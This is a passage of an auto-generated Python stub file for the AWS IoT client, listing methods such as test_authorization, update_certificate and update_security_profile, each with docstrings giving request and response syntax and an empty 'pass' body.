Syntax** :: response = client.start_on_demand_audit_task( targetCheckNames=[ 'string', ] ) **Response Syntax** :: { 'taskId': 'string' } **Response Structure** - *(dict) --* - **taskId** *(string) --* The ID of the on-demand audit you started. :type targetCheckNames: list :param targetCheckNames: **[REQUIRED]** Which checks are performed during the audit. The checks you specify must be enabled for your account or an exception occurs. Use ``DescribeAccountAuditConfiguration`` to see the list of all checks including those that are enabled or ``UpdateAccountAuditConfiguration`` to select which checks are enabled. - *(string) --* An audit check name. Checks must be enabled for your account. (Use ``DescribeAccountAuditConfiguration`` to see the list of all checks including those that are enabled or ``UpdateAccountAuditConfiguration`` to select which checks are enabled.) :rtype: dict :returns: """ pass def start_thing_registration_task(self, templateBody: str, inputFileBucket: str, inputFileKey: str, roleArn: str) -> Dict: """ Creates a bulk thing provisioning task. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/StartThingRegistrationTask>`_ **Request Syntax** :: response = client.start_thing_registration_task( templateBody='string', inputFileBucket='string', inputFileKey='string', roleArn='string' ) **Response Syntax** :: { 'taskId': 'string' } **Response Structure** - *(dict) --* - **taskId** *(string) --* The bulk thing provisioning task ID. :type templateBody: string :param templateBody: **[REQUIRED]** The provisioning template. :type inputFileBucket: string :param inputFileBucket: **[REQUIRED]** The S3 bucket that contains the input file. :type inputFileKey: string :param inputFileKey: **[REQUIRED]** The name of input file within the S3 bucket. This file contains a newline delimited JSON file. Each line contains the parameter values to provision one device (thing). :type roleArn: string :param roleArn: **[REQUIRED]** The IAM role ARN that grants permission the input file. :rtype: dict :returns: """ pass def stop_thing_registration_task(self, taskId: str) -> Dict: """ Cancels a bulk thing provisioning task. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/StopThingRegistrationTask>`_ **Request Syntax** :: response = client.stop_thing_registration_task( taskId='string' ) **Response Syntax** :: {} **Response Structure** - *(dict) --* :type taskId: string :param taskId: **[REQUIRED]** The bulk thing provisioning task ID. :rtype: dict :returns: """ pass def tag_resource(self, resourceArn: str, tags: List) -> Dict: """ Adds to or modifies the tags of the given resource. Tags are metadata which can be used to manage a resource. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/TagResource>`_ **Request Syntax** :: response = client.tag_resource( resourceArn='string', tags=[ { 'Key': 'string', 'Value': 'string' }, ] ) **Response Syntax** :: {} **Response Structure** - *(dict) --* :type resourceArn: string :param resourceArn: **[REQUIRED]** The ARN of the resource. :type tags: list :param tags: **[REQUIRED]** The new or modified tags for the resource. - *(dict) --* A set of key/value pairs that are used to manage the resource. - **Key** *(string) --* The tag\'s key. - **Value** *(string) --* The tag\'s value. :rtype: dict :returns: """ pass def test_authorization(self, authInfos: List, principal: str = None, cognitoIdentityPoolId: str = None, clientId: str = None, policyNamesToAdd: List = None, policyNamesToSkip: List = None) -> Dict: """ Tests if a specified principal is authorized to perform an AWS IoT action on a specified resource. Use this to test and debug the authorization behavior of devices that connect to the AWS IoT device gateway. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/TestAuthorization>`_ **Request Syntax** :: response = client.test_authorization( principal='string', cognitoIdentityPoolId='string', authInfos=[ { 'actionType': 'PUBLISH'|'SUBSCRIBE'|'RECEIVE'|'CONNECT', 'resources': [ 'string', ] }, ], clientId='string', policyNamesToAdd=[ 'string', ], policyNamesToSkip=[ 'string', ] ) **Response Syntax** :: { 'authResults': [ { 'authInfo': { 'actionType': 'PUBLISH'|'SUBSCRIBE'|'RECEIVE'|'CONNECT', 'resources': [ 'string', ] }, 'allowed': { 'policies': [ { 'policyName': 'string', 'policyArn': 'string' }, ] }, 'denied': { 'implicitDeny': { 'policies': [ { 'policyName': 'string', 'policyArn': 'string' }, ] }, 'explicitDeny': { 'policies': [ { 'policyName': 'string', 'policyArn': 'string' }, ] } }, 'authDecision': 'ALLOWED'|'EXPLICIT_DENY'|'IMPLICIT_DENY', 'missingContextValues': [ 'string', ] }, ] } **Response Structure** - *(dict) --* - **authResults** *(list) --* The authentication results. - *(dict) --* The authorizer result. - **authInfo** *(dict) --* Authorization information. - **actionType** *(string) --* The type of action for which the principal is being authorized. - **resources** *(list) --* The resources for which the principal is being authorized to perform the specified action. - *(string) --* - **allowed** *(dict) --* The policies and statements that allowed the specified action. - **policies** *(list) --* A list of policies that allowed the authentication. - *(dict) --* Describes an AWS IoT policy. - **policyName** *(string) --* The policy name. - **policyArn** *(string) --* The policy ARN. - **denied** *(dict) --* The policies and statements that denied the specified action. - **implicitDeny** *(dict) --* Information that implicitly denies the authorization. When a policy doesn't explicitly deny or allow an action on a resource it is considered an implicit deny. - **policies** *(list) --* Policies that don't contain a matching allow or deny statement for the specified action on the specified resource. - *(dict) --* Describes an AWS IoT policy. - **policyName** *(string) --* The policy name. - **policyArn** *(string) --* The policy ARN. - **explicitDeny** *(dict) --* Information that explicitly denies the authorization. - **policies** *(list) --* The policies that denied the authorization. - *(dict) --* Describes an AWS IoT policy. - **policyName** *(string) --* The policy name. - **policyArn** *(string) --* The policy ARN. - **authDecision** *(string) --* The final authorization decision of this scenario. Multiple statements are taken into account when determining the authorization decision. An explicit deny statement can override multiple allow statements. - **missingContextValues** *(list) --* Contains any missing context values found while evaluating policy. - *(string) --* :type principal: string :param principal: The principal. :type cognitoIdentityPoolId: string :param cognitoIdentityPoolId: The Cognito identity pool ID. :type authInfos: list :param authInfos: **[REQUIRED]** A list of authorization info objects. Simulating authorization will create a response for each ``authInfo`` object in the list. - *(dict) --* A collection of authorization information. - **actionType** *(string) --* The type of action for which the principal is being authorized. - **resources** *(list) --* The resources for which the principal is being authorized to perform the specified action. - *(string) --* :type clientId: string :param clientId: The MQTT client ID. :type policyNamesToAdd: list :param policyNamesToAdd: When testing custom authorization, the policies specified here are treated as if they are attached to the principal being authorized. - *(string) --* :type policyNamesToSkip: list :param policyNamesToSkip: When testing custom authorization, the policies specified here are treated as if they are not attached to the principal being authorized. - *(string) --* :rtype: dict :returns: """ pass def test_invoke_authorizer(self, authorizerName: str, token: str, tokenSignature: str) -> Dict: """ Tests a custom authorization behavior by invoking a specified custom authorizer. Use this to test and debug the custom authorization behavior of devices that connect to the AWS IoT device gateway. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/TestInvokeAuthorizer>`_ **Request Syntax** :: response = client.test_invoke_authorizer( authorizerName='string', token='string', tokenSignature='string' ) **Response Syntax** :: { 'isAuthenticated': True|False, 'principalId': 'string', 'policyDocuments': [ 'string', ], 'refreshAfterInSeconds': 123, 'disconnectAfterInSeconds': 123 } **Response Structure** - *(dict) --* - **isAuthenticated** *(boolean) --* True if the token is authenticated, otherwise false. - **principalId** *(string) --* The principal ID. - **policyDocuments** *(list) --* IAM policy documents. - *(string) --* - **refreshAfterInSeconds** *(integer) --* The number of seconds after which the temporary credentials are refreshed. - **disconnectAfterInSeconds** *(integer) --* The number of seconds after which the connection is terminated. :type authorizerName: string :param authorizerName: **[REQUIRED]** The custom authorizer name. :type token: string :param token: **[REQUIRED]** The token returned by your custom authentication service. :type tokenSignature: string :param tokenSignature: **[REQUIRED]** The signature made with the token and your custom authentication service\'s private key. :rtype: dict :returns: """ pass def transfer_certificate(self, certificateId: str, targetAwsAccount: str, transferMessage: str = None) -> Dict: """ Transfers the specified certificate to the specified AWS account. You can cancel the transfer until it is acknowledged by the recipient. No notification is sent to the transfer destination's account. It is up to the caller to notify the transfer target. The certificate being transferred must not be in the ACTIVE state. You can use the UpdateCertificate API to deactivate it. The certificate must not have any policies attached to it. You can use the DetachPrincipalPolicy API to detach them. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/TransferCertificate>`_ **Request Syntax** :: response = client.transfer_certificate( certificateId='string', targetAwsAccount='string', transferMessage='string' ) **Response Syntax** :: { 'transferredCertificateArn': 'string' } **Response Structure** - *(dict) --* The output from the TransferCertificate operation. - **transferredCertificateArn** *(string) --* The ARN of the certificate. :type certificateId: string :param certificateId: **[REQUIRED]** The ID of the certificate. (The last part of the certificate ARN contains the certificate ID.) :type targetAwsAccount: string :param targetAwsAccount: **[REQUIRED]** The AWS account. :type transferMessage: string :param transferMessage: The transfer message. :rtype: dict :returns: """ pass def untag_resource(self, resourceArn: str, tagKeys: List) -> Dict: """ Removes the given tags (metadata) from the resource. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/UntagResource>`_ **Request Syntax** :: response = client.untag_resource( resourceArn='string', tagKeys=[ 'string', ] ) **Response Syntax** :: {} **Response Structure** - *(dict) --* :type resourceArn: string :param resourceArn: **[REQUIRED]** The ARN of the resource. :type tagKeys: list :param tagKeys: **[REQUIRED]** A list of the keys of the tags to be removed from the resource. - *(string) --* :rtype: dict :returns: """ pass def update_account_audit_configuration(self, roleArn: str = None, auditNotificationTargetConfigurations: Dict = None, auditCheckConfigurations: Dict = None) -> Dict: """ Configures or reconfigures the Device Defender audit settings for this account. Settings include how audit notifications are sent and which audit checks are enabled or disabled. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/UpdateAccountAuditConfiguration>`_ **Request Syntax** :: response = client.update_account_audit_configuration( roleArn='string', auditNotificationTargetConfigurations={ 'string': { 'targetArn': 'string', 'roleArn': 'string', 'enabled': True|False } }, auditCheckConfigurations={ 'string': { 'enabled': True|False } } ) **Response Syntax** :: {} **Response Structure** - *(dict) --* :type roleArn: string :param roleArn: The ARN of the role that grants permission to AWS IoT to access information about your devices, policies, certificates and other items as necessary when performing an audit. :type auditNotificationTargetConfigurations: dict :param auditNotificationTargetConfigurations: Information about the targets to which audit notifications are sent. - *(string) --* - *(dict) --* Information about the targets to which audit notifications are sent. - **targetArn** *(string) --* The ARN of the target (SNS topic) to which audit notifications are sent. - **roleArn** *(string) --* The ARN of the role that grants permission to send notifications to the target. - **enabled** *(boolean) --* True if notifications to the target are enabled. :type auditCheckConfigurations: dict :param auditCheckConfigurations: Specifies which audit checks are enabled and disabled for this account. Use ``DescribeAccountAuditConfiguration`` to see the list of all checks including those that are currently enabled. Note that some data collection may begin immediately when certain checks are enabled. When a check is disabled, any data collected so far in relation to the check is deleted. You cannot disable a check if it is used by any scheduled audit. You must first delete the check from the scheduled audit or delete the scheduled audit itself. On the first call to ``UpdateAccountAuditConfiguration`` this parameter is required and must specify at least one enabled check. - *(string) --* An audit check name. Checks must be enabled for your account. (Use ``DescribeAccountAuditConfiguration`` to see the list of all checks including those that are enabled or ``UpdateAccountAuditConfiguration`` to select which checks are enabled.) - *(dict) --* Which audit checks are enabled and disabled for this account. - **enabled** *(boolean) --* True if this audit check is enabled for this account. :rtype: dict :returns: """ pass def update_authorizer(self, authorizerName: str, authorizerFunctionArn: str = None, tokenKeyName: str = None, tokenSigningPublicKeys: Dict = None, status: str = None) -> Dict: """ Updates an authorizer. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/UpdateAuthorizer>`_ **Request Syntax** :: response = client.update_authorizer( authorizerName='string', authorizerFunctionArn='string', tokenKeyName='string', tokenSigningPublicKeys={ 'string': 'string' }, status='ACTIVE'|'INACTIVE' ) **Response Syntax** :: { 'authorizerName': 'string', 'authorizerArn': 'string' } **Response Structure** - *(dict) --* - **authorizerName** *(string) --* The authorizer name. - **authorizerArn** *(string) --* The authorizer ARN. :type authorizerName: string :param authorizerName: **[REQUIRED]** The authorizer name. :type authorizerFunctionArn: string :param authorizerFunctionArn: The ARN of the authorizer\'s Lambda function. :type tokenKeyName: string :param tokenKeyName: The key used to extract the token from the HTTP headers. :type tokenSigningPublicKeys: dict :param tokenSigningPublicKeys: The public keys used to verify the token signature. - *(string) --* - *(string) --* :type status: string :param status: The status of the update authorizer request. :rtype: dict :returns: """ pass def update_billing_group(self, billingGroupName: str, billingGroupProperties: Dict, expectedVersion: int = None) -> Dict: """ Updates information about the billing group. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/UpdateBillingGroup>`_ **Request Syntax** :: response = client.update_billing_group( billingGroupName='string', billingGroupProperties={ 'billingGroupDescription': 'string' }, expectedVersion=123 ) **Response Syntax** :: { 'version': 123 } **Response Structure** - *(dict) --* - **version** *(integer) --* The latest version of the billing group. :type billingGroupName: string :param billingGroupName: **[REQUIRED]** The name of the billing group. :type billingGroupProperties: dict :param billingGroupProperties: **[REQUIRED]** The properties of the billing group. - **billingGroupDescription** *(string) --* The description of the billing group. :type expectedVersion: integer :param expectedVersion: The expected version of the billing group. If the version of the billing group does not match the expected version specified in the request, the ``UpdateBillingGroup`` request is rejected with a ``VersionConflictException`` . :rtype: dict :returns: """ pass def update_ca_certificate(self, certificateId: str, newStatus: str = None, newAutoRegistrationStatus: str = None, registrationConfig: Dict = None, removeAutoRegistration: bool = None): """ Updates a registered CA certificate. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/UpdateCACertificate>`_ **Request Syntax** :: response = client.update_ca_certificate( certificateId='string', newStatus='ACTIVE'|'INACTIVE', newAutoRegistrationStatus='ENABLE'|'DISABLE', registrationConfig={ 'templateBody': 'string', 'roleArn': 'string' }, removeAutoRegistration=True|False ) :type certificateId: string :param certificateId: **[REQUIRED]** The CA certificate identifier. :type newStatus: string :param newStatus: The updated status of the CA certificate. **Note:** The status value REGISTER_INACTIVE is deprecated and should not be used. :type newAutoRegistrationStatus: string :param newAutoRegistrationStatus: The new value for the auto registration status. Valid values are: \"ENABLE\" or \"DISABLE\". :type registrationConfig: dict :param registrationConfig: Information about the registration configuration. - **templateBody** *(string) --* The template body. - **roleArn** *(string) --* The ARN of the role. :type removeAutoRegistration: boolean :param removeAutoRegistration: If true, remove auto registration. :returns: None """ pass def update_certificate(self, certificateId: str, newStatus: str): """ Updates the status of the specified certificate. This operation is idempotent. Moving a certificate from the ACTIVE state (including REVOKED) will not disconnect currently connected devices, but these devices will be unable to reconnect. The ACTIVE state is required to authenticate devices connecting to AWS IoT using a certificate. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/UpdateCertificate>`_ **Request Syntax** :: response = client.update_certificate( certificateId='string', newStatus='ACTIVE'|'INACTIVE'|'REVOKED'|'PENDING_TRANSFER'|'REGISTER_INACTIVE'|'PENDING_ACTIVATION' ) :type certificateId: string :param certificateId: **[REQUIRED]** The ID of the certificate. (The last part of the certificate ARN contains the certificate ID.) :type newStatus: string :param newStatus: **[REQUIRED]** The new status. **Note:** Setting the status to PENDING_TRANSFER will result in an exception being thrown. PENDING_TRANSFER is a status used internally by AWS IoT. It is not intended for developer use. **Note:** The status value REGISTER_INACTIVE is deprecated and should not be used. :returns: None """ pass def update_dynamic_thing_group(self, thingGroupName: str, thingGroupProperties: Dict, expectedVersion: int = None, indexName: str = None, queryString: str = None, queryVersion: str = None) -> Dict: """ Updates a dynamic thing group. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/UpdateDynamicThingGroup>`_ **Request Syntax** :: response = client.update_dynamic_thing_group( thingGroupName='string', thingGroupProperties={ 'thingGroupDescription': 'string', 'attributePayload': { 'attributes': { 'string': 'string' }, 'merge': True|False } }, expectedVersion=123, indexName='string', queryString='string', queryVersion='string' ) **Response Syntax** :: { 'version': 123 } **Response Structure** - *(dict) --* - **version** *(integer) --* The dynamic thing group version. :type thingGroupName: string :param thingGroupName: **[REQUIRED]** The name of the dynamic thing group to update. :type thingGroupProperties: dict :param thingGroupProperties: **[REQUIRED]** The dynamic thing group properties to update. - **thingGroupDescription** *(string) --* The thing group description. - **attributePayload** *(dict) --* The thing group attributes in JSON format. - **attributes** *(dict) --* A JSON string containing up to three key-value pair in JSON format. For example: ``{\\"attributes\\":{\\"string1\\":\\"string2\\"}}`` - *(string) --* - *(string) --* - **merge** *(boolean) --* Specifies whether the list of attributes provided in the ``AttributePayload`` is merged with the attributes stored in the registry, instead of overwriting them. To remove an attribute, call ``UpdateThing`` with an empty attribute value. .. note:: The ``merge`` attribute is only valid when calling ``UpdateThing`` . :type expectedVersion: integer :param expectedVersion: The expected version of the dynamic thing group to update. :type indexName: string :param indexName: The dynamic thing group index to update. .. note:: Currently one index is supported: \'AWS_Things\'. :type queryString: string :param queryString: The dynamic thing group search query string to update. :type queryVersion: string :param queryVersion: The dynamic thing group query version to update. .. note:: Currently one query version is supported: \"2017-09-30\". If not specified, the query version defaults to this value. :rtype: dict :returns: """ pass def update_event_configurations(self, eventConfigurations: Dict = None) -> Dict: """ Updates the event configurations. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/UpdateEventConfigurations>`_ **Request Syntax** :: response = client.update_event_configurations( eventConfigurations={ 'string': { 'Enabled': True|False } } ) **Response Syntax** :: {} **Response Structure** - *(dict) --* :type eventConfigurations: dict :param eventConfigurations: The new event configuration values. - *(string) --* - *(dict) --* Configuration. - **Enabled** *(boolean) --* True to enable the configuration. :rtype: dict :returns: """ pass def update_indexing_configuration(self, thingIndexingConfiguration: Dict = None, thingGroupIndexingConfiguration: Dict = None) -> Dict: """ Updates the search configuration. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/UpdateIndexingConfiguration>`_ **Request Syntax** :: response = client.update_indexing_configuration( thingIndexingConfiguration={ 'thingIndexingMode': 'OFF'|'REGISTRY'|'REGISTRY_AND_SHADOW', 'thingConnectivityIndexingMode': 'OFF'|'STATUS' }, thingGroupIndexingConfiguration={ 'thingGroupIndexingMode': 'OFF'|'ON' } ) **Response Syntax** :: {} **Response Structure** - *(dict) --* :type thingIndexingConfiguration: dict :param thingIndexingConfiguration: Thing indexing configuration. - **thingIndexingMode** *(string) --* **[REQUIRED]** Thing indexing mode. Valid values are: * REGISTRY – Your thing index contains registry data only. * REGISTRY_AND_SHADOW - Your thing index contains registry and shadow data. * OFF - Thing indexing is disabled. - **thingConnectivityIndexingMode** *(string) --* Thing connectivity indexing mode. Valid values are: * STATUS – Your thing index contains connectivity status. To enable thing connectivity indexing, thingIndexMode must not be set to OFF. * OFF - Thing connectivity status indexing is disabled. :type thingGroupIndexingConfiguration: dict :param thingGroupIndexingConfiguration: Thing group indexing configuration. - **thingGroupIndexingMode** *(string) --* **[REQUIRED]** Thing group indexing mode. :rtype: dict :returns: """ pass def update_job(self, jobId: str, description: str = None, presignedUrlConfig: Dict = None, jobExecutionsRolloutConfig: Dict = None, abortConfig: Dict = None, timeoutConfig: Dict = None): """ Updates supported fields of the specified job. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/UpdateJob>`_ **Request Syntax** :: response = client.update_job( jobId='string', description='string', presignedUrlConfig={ 'roleArn': 'string', 'expiresInSec': 123 }, jobExecutionsRolloutConfig={ 'maximumPerMinute': 123, 'exponentialRate': { 'baseRatePerMinute': 123, 'incrementFactor': 123.0, 'rateIncreaseCriteria': { 'numberOfNotifiedThings': 123, 'numberOfSucceededThings': 123 } } }, abortConfig={ 'criteriaList': [ { 'failureType': 'FAILED'|'REJECTED'|'TIMED_OUT'|'ALL', 'action': 'CANCEL', 'thresholdPercentage': 123.0, 'minNumberOfExecutedThings': 123 }, ] }, timeoutConfig={ 'inProgressTimeoutInMinutes': 123 } ) :type jobId: string :param jobId: **[REQUIRED]** The ID of the job to be updated. :type description: string :param description: A short text description of the job. :type presignedUrlConfig: dict :param presignedUrlConfig: Configuration information for pre-signed S3 URLs. - **roleArn** *(string) --* The ARN of an IAM role that grants grants permission to download files from the S3 bucket where the job data/updates are stored. The role must also grant permission for IoT to download the files. - **expiresInSec** *(integer) --* How long (in seconds) pre-signed URLs are valid. Valid values are 60 - 3600, the default value is 3600 seconds. Pre-signed URLs are generated when Jobs receives an MQTT request for the job document. :type jobExecutionsRolloutConfig: dict :param jobExecutionsRolloutConfig: Allows you to create a staged rollout of the job. - **maximumPerMinute** *(integer) --* The maximum number of things that will be notified of a pending job, per minute. This parameter allows you to create a staged rollout. - **exponentialRate** *(dict) --* The rate of increase for a job rollout. This parameter allows you to define an exponential rate for a job rollout. - **baseRatePerMinute** *(integer) --* **[REQUIRED]** The minimum number of things that will be notified of a pending job, per minute at the start of job rollout. This parameter allows you to define the initial rate of rollout. - **incrementFactor** *(float) --* **[REQUIRED]** The exponential factor to increase the rate of rollout for a job. - **rateIncreaseCriteria** *(dict) --* **[REQUIRED]** The criteria to initiate the increase in rate of rollout for a job. AWS IoT supports up to one digit after the decimal (for example, 1.5, but not 1.55). - **numberOfNotifiedThings** *(integer) --* The threshold for number of notified things that will initiate the increase in rate of rollout. - **numberOfSucceededThings** *(integer) --* The threshold for number of succeeded things that will initiate the increase in rate of rollout. :type abortConfig: dict :param abortConfig: Allows you to create criteria to abort a job. - **criteriaList** *(list) --* **[REQUIRED]** The list of abort criteria to define rules to abort the job. - *(dict) --* Details of abort criteria to define rules to abort the job. - **failureType** *(string) --* **[REQUIRED]** The type of job execution failure to define a rule to initiate a job abort. - **action** *(string) --* **[REQUIRED]** The type of abort action to initiate a job abort. - **thresholdPercentage** *(float) --* **[REQUIRED]** The threshold as a percentage of the total number of executed things that will initiate a job abort. AWS IoT supports up to two digits after the decimal (for example, 10.9 and 10.99, but not 10.999). - **minNumberOfExecutedThings** *(integer) --* **[REQUIRED]** Minimum number of executed things before evaluating an abort rule. :type timeoutConfig: dict :param timeoutConfig: Specifies the amount of time each device has to finish its execution of the job. The timer is started when the job execution status is set to ``IN_PROGRESS`` . If the job execution status is not set to another terminal state before the time expires, it will be automatically set to ``TIMED_OUT`` . - **inProgressTimeoutInMinutes** *(integer) --* Specifies the amount of time, in minutes, this device has to finish execution of this job. The timeout interval can be anywhere between 1 minute and 7 days (1 to 10080 minutes). The in progress timer can\'t be updated and will apply to all job executions for the job. Whenever a job execution remains in the IN_PROGRESS status for longer than this interval, the job execution will fail and switch to the terminal ``TIMED_OUT`` status. :returns: None """ pass def update_role_alias(self, roleAlias: str, roleArn: str = None, credentialDurationSeconds: int = None) -> Dict: """ Updates a role alias. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/UpdateRoleAlias>`_ **Request Syntax** :: response = client.update_role_alias( roleAlias='string', roleArn='string', credentialDurationSeconds=123 ) **Response Syntax** :: { 'roleAlias': 'string', 'roleAliasArn': 'string' } **Response Structure** - *(dict) --* - **roleAlias** *(string) --* The role alias. - **roleAliasArn** *(string) --* The role alias ARN. :type roleAlias: string :param roleAlias: **[REQUIRED]** The role alias to update. :type roleArn: string :param roleArn: The role ARN. :type credentialDurationSeconds: integer :param credentialDurationSeconds: The number of seconds the credential will be valid. :rtype: dict :returns: """ pass def update_scheduled_audit(self, scheduledAuditName: str, frequency: str = None, dayOfMonth: str = None, dayOfWeek: str = None, targetCheckNames: List = None) -> Dict: """ Updates a scheduled audit, including what checks are performed and how often the audit takes place. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/UpdateScheduledAudit>`_ **Request Syntax** :: response = client.update_scheduled_audit( frequency='DAILY'|'WEEKLY'|'BIWEEKLY'|'MONTHLY', dayOfMonth='string', dayOfWeek='SUN'|'MON'|'TUE'|'WED'|'THU'|'FRI'|'SAT', targetCheckNames=[ 'string', ], scheduledAuditName='string' ) **Response Syntax** :: { 'scheduledAuditArn': 'string' } **Response Structure** - *(dict) --* - **scheduledAuditArn** *(string) --* The ARN of the scheduled audit. :type frequency: string :param frequency: How often the scheduled audit takes place. Can be one of \"DAILY\", \"WEEKLY\", \"BIWEEKLY\" or \"MONTHLY\". The actual start time of each audit is determined by the system. :type dayOfMonth: string :param dayOfMonth: The day of the month on which the scheduled audit takes place. Can be \"1\" through \"31\" or \"LAST\". This field is required if the \"frequency\" parameter is set to \"MONTHLY\". If days 29-31 are specified, and the month does not have that many days, the audit takes place on the \"LAST\" day of the month. :type dayOfWeek: string :param dayOfWeek: The day of the week on which the scheduled audit takes place. Can be one of \"SUN\", \"MON\", \"TUE\", \"WED\", \"THU\", \"FRI\" or \"SAT\". This field is required if the \"frequency\" parameter is set to \"WEEKLY\" or \"BIWEEKLY\". :type targetCheckNames: list :param targetCheckNames: Which checks are performed during the scheduled audit. Checks must be enabled for your account. (Use ``DescribeAccountAuditConfiguration`` to see the list of all checks including those that are enabled or ``UpdateAccountAuditConfiguration`` to select which checks are enabled.) - *(string) --* An audit check name. Checks must be enabled for your account. (Use ``DescribeAccountAuditConfiguration`` to see the list of all checks including those that are enabled or ``UpdateAccountAuditConfiguration`` to select which checks are enabled.) :type scheduledAuditName: string :param scheduledAuditName: **[REQUIRED]** The name of the scheduled audit. (Max. 128 chars) :rtype: dict :returns: """ pass def update_security_profile(self, securityProfileName: str, securityProfileDescription: str = None, behaviors: List = None, alertTargets: Dict = None, additionalMetricsToRetain: List = None, deleteBehaviors: bool = None, deleteAlertTargets: bool = None, deleteAdditionalMetricsToRetain: bool = None, expectedVersion: int = None) -> Dict: """ Updates a Device Defender security profile. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/UpdateSecurityProfile>`_ **Request Syntax** :: response = client.update_security_profile( securityProfileName='string', securityProfileDescription='string', behaviors=[ { 'name': 'string', 'metric': 'string', 'criteria': { 'comparisonOperator': 'less-than'|'less-than-equals'|'greater-than'|'greater-than-equals'|'in-cidr-set'|'not-in-cidr-set'|'in-port-set'|'not-in-port-set', 'value': { 'count': 123, 'cidrs': [ 'string', ], 'ports': [ 123, ] }, 'durationSeconds': 123, 'consecutiveDatapointsToAlarm': 123, 'consecutiveDatapointsToClear': 123, 'statisticalThreshold': { 'statistic': 'string' } } }, ], alertTargets={ 'string': { 'alertTargetArn': 'string', 'roleArn': 'string' } }, additionalMetricsToRetain=[ 'string', ], deleteBehaviors=True|False, deleteAlertTargets=True|False, deleteAdditionalMetricsToRetain=True|False, expectedVersion=123 ) **Response Syntax** :: { 'securityProfileName': 'string', 'securityProfileArn': 'string', 'securityProfileDescription': 'string', 'behaviors': [ { 'name': 'string', 'metric': 'string', 'criteria': { 'comparisonOperator': 'less-than'|'less-than-equals'|'greater-than'|'greater-than-equals'|'in-cidr-set'|'not-in-cidr-set'|'in-port-set'|'not-in-port-set', 'value': { 'count': 123, 'cidrs': [ 'string', ], 'ports': [ 123, ] }, 'durationSeconds': 123, 'consecutiveDatapointsToAlarm': 123, 'consecutiveDatapointsToClear': 123, 'statisticalThreshold': { 'statistic': 'string' } } }, ], 'alertTargets': { 'string': { 'alertTargetArn': 'string', 'roleArn': 'string' } }, 'additionalMetricsToRetain': [ 'string', ], 'version': 123, 'creationDate': datetime(2015, 1, 1), 'lastModifiedDate': datetime(2015, 1, 1) } **Response Structure** - *(dict) --* - **securityProfileName** *(string) --* The name of the security profile that was updated. - **securityProfileArn** *(string) --* The ARN of the security profile that was updated. - **securityProfileDescription** *(string) --* The description of the security profile. - **behaviors** *(list) --* Specifies the behaviors that, when violated by a device (thing), cause an alert. - *(dict) --* A Device Defender security profile behavior. - **name** *(string) --* The name you have given to the behavior. - **metric** *(string) --* What is measured by the behavior. - **criteria** *(dict) --* The criteria that determine if a device is behaving normally in regard to the ``metric`` . - **comparisonOperator** *(string) --* The operator that relates the thing measured (``metric`` ) to the criteria (containing a ``value`` or ``statisticalThreshold`` ). - **value** *(dict) --* The value to be compared with the ``metric`` . - **count** *(integer) --* If the ``comparisonOperator`` calls for a numeric value, use this to specify that numeric value to be compared with the ``metric`` . - **cidrs** *(list) --* If the ``comparisonOperator`` calls for a set of CIDRs, use this to specify that set to be compared with the ``metric`` . - *(string) --* - **ports** *(list) --* If the ``comparisonOperator`` calls for a set of ports, use this to specify that set to be compared with the ``metric`` . - *(integer) --* - **durationSeconds** *(integer) --* Use this to specify the time duration over which the behavior is evaluated, for those criteria which have a time dimension (for example, ``NUM_MESSAGES_SENT`` ). For a ``statisticalThreshhold`` metric comparison, measurements from all devices are accumulated over this time duration before being used to calculate percentiles, and later, measurements from an individual device are also accumulated over this time duration before being given a percentile rank. - **consecutiveDatapointsToAlarm** *(integer) --* If a device is in violation of the behavior for the specified number of consecutive datapoints, an alarm occurs. If not specified, the default is 1. - **consecutiveDatapointsToClear** *(integer) --* If an alarm has occurred and the offending device is no longer in violation of the behavior for the specified number of consecutive datapoints, the alarm is cleared. If not specified, the default is 1. - **statisticalThreshold** *(dict) --* A statistical ranking (percentile) which indicates a threshold value by which a behavior is determined to be in compliance or in violation of the behavior. - **statistic** *(string) --* The percentile which resolves to a threshold value by which compliance with a behavior is determined. Metrics are collected over the specified period (``durationSeconds`` ) from all reporting devices in your account and statistical ranks are calculated. Then, the measurements from a device are collected over the same period. If the accumulated measurements from the device fall above or below (``comparisonOperator`` ) the value associated with the percentile specified, then the device is considered to be in compliance with the behavior, otherwise a violation occurs. - **alertTargets** *(dict) --* Where the alerts are sent. (Alerts are always sent to the console.) - *(string) --* The type of alert target: one of "SNS". - *(dict) --* A structure containing the alert target ARN and the role ARN. - **alertTargetArn** *(string) --* The ARN of the notification target to which alerts are sent. - **roleArn** *(string) --* The ARN of the role that grants permission to send alerts to the notification target. - **additionalMetricsToRetain** *(list) --* A list of metrics whose data is retained (stored). By default, data is retained for any metric used in the security profile's ``behaviors`` but it is also retained for any metric specified here. - *(string) --* - **version** *(integer) --* The updated version of the security profile. - **creationDate** *(datetime) --* The time the security profile was created. - **lastModifiedDate** *(datetime) --* The time the security profile was last modified. :type securityProfileName: string :param securityProfileName: **[REQUIRED]** The name of the security profile you want to update. :type securityProfileDescription: string :param securityProfileDescription: A description of the security profile. :type behaviors: list :param behaviors: Specifies the behaviors that, when violated by a device (thing), 